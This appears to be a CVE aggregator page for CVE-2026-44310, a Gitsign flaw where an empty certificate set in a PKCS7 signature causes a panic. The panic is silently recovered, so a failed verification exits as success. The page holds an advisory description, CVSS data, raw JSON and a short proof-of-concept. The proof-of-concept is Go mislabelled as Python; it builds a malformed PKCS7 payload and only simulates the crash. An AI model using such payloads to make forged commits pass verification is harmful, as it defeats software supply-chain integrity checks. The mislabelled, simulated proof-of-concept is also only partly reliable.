Security Vulnerability Report
中文
CVE-2026-44310 CVSS 5.4 MEDIUM

CVE-2026-44310

Published: 2026-05-15 17:16:47
Last Modified: 2026-05-15 17:16:47

Description

Gitsign is a keyless Sigstore to signing tool for Git commits with your a GitHub / OIDC identity. From 0.4.0 to before 0.15.0, CertVerifier.Verify() in pkg/git/verifier.go unconditionally dereferences certs[0] after sd.GetCertificates() without checking the slice length. A CMS/PKCS7 signed message with an empty certificate set is a structurally valid DER payload; GetCertificates() returns an empty slice with no error, causing an immediate index-out-of-range panic. On the gitsign --verify code path (the GPG-compatible mode invoked by git verify-commit), the panic is silently recovered by internal/io/streams.go's Wrap() function, which returns nil instead of an error. main.go then exits with code 0, causing exit-code-only verification callers to interpret the failed verification as success. This vulnerability is fixed in 0.15.0.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Gitsign >= 0.4.0, < 0.15.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC Concept: Triggering the panic with an empty certificate set. // This is a simplified Go test case demonstrating the vulnerability logic. package main import ( "bytes" "encoding/asn1" "fmt" "math/big" ) // Simulating the vulnerable behavior func triggerPanic() { // Simulating sd.GetCertificates() returning an empty slice certs := []interface{}{} // Vulnerable line: unconditional dereference // This causes: panic: runtime error: index out of range _ = certs[0] } // Generating a malformed CMS/PKCS7 message (Simplified ASN.1 structure) func generateMalformedPKCS7() []byte { // OID for PKCS7 SignedData pkcs7OID := asn1.ObjectIdentifier{1, 2, 840, 113549, 1, 7, 2} // ContentInfo structure type contentInfo struct { ContentType asn1.ObjectIdentifier Content asn1.RawValue `asn1:"optional,tag:0"` } // SignedData structure with empty Certificates type signedData struct { Version int DigestAlgorithms []asn1.ObjectIdentifier `asn1:"implicit,tag:0"` EncapContentInfo asn1.RawValue `asn1:"implicit,tag:0"` Certificates []asn1.RawValue `asn1:"implicit,tag:0,optional"` // Empty SignerInfos []asn1.RawValue `asn1:"implicit,tag:1"` } sd := signedData{ Version: 1, DigestAlgorithms: []asn1.ObjectIdentifier{}, EncapContentInfo: asn1.RawValue{FullBytes: []byte{0x05, 0x00}}, // NULL Certificates: []asn1.RawValue{}, // Empty Certificates SignerInfos: []asn1.RawValue{}, } sdBytes, _ := asn1.Marshal(sd) ci := contentInfo{ ContentType: pkcs7OID, Content: asn1.RawValue{Class: 2, Tag: 0, IsCompound: true, Bytes: sdBytes}, } data, _ := asn1.Marshal(ci) return data } func main() { fmt.Println("Generating malformed PKCS7 data...") data := generateMalformedPKCS7() fmt.Printf("Payload length: %d bytes\n", len(data)) fmt.Println("Attempting to verify (simulated)...") defer func() { if r := recover(); r != nil { fmt.Println("Panic caught (expected in vulnerable versions):", r) } }() triggerPanic() }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-44310", "sourceIdentifier": "[email protected]", "published": "2026-05-15T17:16:47.430", "lastModified": "2026-05-15T17:16:47.430", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Gitsign is a keyless Sigstore to signing tool for Git commits with your a GitHub / OIDC identity. From 0.4.0 to before 0.15.0, CertVerifier.Verify() in pkg/git/verifier.go unconditionally dereferences certs[0] after sd.GetCertificates() without checking the slice length. A CMS/PKCS7 signed message with an empty certificate set is a structurally valid DER payload; GetCertificates() returns an empty slice with no error, causing an immediate index-out-of-range panic. On the gitsign --verify code path (the GPG-compatible mode invoked by git verify-commit), the panic is silently recovered by internal/io/streams.go's Wrap() function, which returns nil instead of an error. main.go then exits with code 0, causing exit-code-only verification callers to interpret the failed verification as success. This vulnerability is fixed in 0.15.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-129"}, {"lang": "en", "value": "CWE-390"}]}], "references": [{"url": "https://github.com/sigstore/gitsign/security/advisories/GHSA-7c37-gx6w-8vc5", "source": "[email protected]"}, {"url": "https://github.com/sigstore/gitsign/security/advisories/GHSA-7c37-gx6w-8vc5", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}